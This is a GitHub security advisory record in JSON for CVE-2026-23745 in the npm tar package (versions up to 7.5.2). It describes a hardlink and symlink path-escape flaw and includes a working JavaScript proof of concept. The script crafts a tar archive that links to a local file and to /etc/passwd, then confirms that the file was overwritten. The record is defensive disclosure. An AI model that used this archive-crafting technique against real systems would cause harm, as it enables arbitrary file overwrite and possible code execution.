{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23745"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-16T21:16:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `node-tar` library (`\u003c= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.\n\n### Details\n\nThe vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.\n\n**1. Hardlink Escape (Arbitrary File Overwrite)**\n\nThe extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.\n\nThe library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.\n\n**2. Symlink Poisoning**\n\nThe extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.\n\n### PoC\n\nThe following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local \"secret\" file was successfully overwritten.\n\n```javascript\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst tar = require(\u0027tar\u0027)\n\nconst out = path.resolve(\u0027out_repro\u0027)\nconst secret = path.resolve(\u0027secret.txt\u0027)\nconst tarFile = path.resolve(\u0027exploit.tar\u0027)\nconst targetSym = \u0027/etc/passwd\u0027\n\n// Cleanup \u0026 Setup\ntry { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}\nfs.mkdirSync(out)\nfs.writeFileSync(secret, \u0027ORIGINAL_DATA\u0027)\n\n// 1. Craft malicious Link header (Hardlink to absolute local file)\nconst h1 = new tar.Header({\n  path: \u0027exploit_hard\u0027,\n  type: \u0027Link\u0027,\n  size: 0,\n  linkpath: secret \n})\nh1.encode()\n\n// 2. Craft malicious Symlink header (Symlink to /etc/passwd)\nconst h2 = new tar.Header({\n  path: \u0027exploit_sym\u0027,\n  type: \u0027SymbolicLink\u0027,\n  size: 0,\n  linkpath: targetSym \n})\nh2.encode()\n\n// Write binary tar\nfs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))\n\nconsole.log(\u0027[*] Extracting malicious tarball...\u0027)\n\n// 3. Extract with default secure settings\ntar.x({\n  cwd: out,\n  file: tarFile,\n  preservePaths: false\n}).then(() =\u003e {\n  console.log(\u0027[*] Verifying payload...\u0027)\n\n  // Test Hardlink Overwrite\n  try {\n    fs.writeFileSync(path.join(out, \u0027exploit_hard\u0027), \u0027OVERWRITTEN\u0027)\n    \n    if (fs.readFileSync(secret, \u0027utf8\u0027) === \u0027OVERWRITTEN\u0027) {\n      console.log(\u0027[+] VULN CONFIRMED: Hardlink overwrite successful\u0027)\n    } else {\n      console.log(\u0027[-] Hardlink failed\u0027)\n    }\n  } catch (e) {}\n\n  // Test Symlink Poisoning\n  try {\n    if (fs.readlinkSync(path.join(out, \u0027exploit_sym\u0027)) === targetSym) {\n      console.log(\u0027[+] VULN CONFIRMED: Symlink points to absolute path\u0027)\n    } else {\n      console.log(\u0027[-] Symlink failed\u0027)\n    }\n  } catch (e) {}\n})\n\n```\n\n### Impact\n\n* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.\n* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)",
  "id": "GHSA-8qq5-rm4j-mr97",
  "modified": "2026-01-16T21:16:20Z",
  "published": "2026-01-16T21:16:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization"
}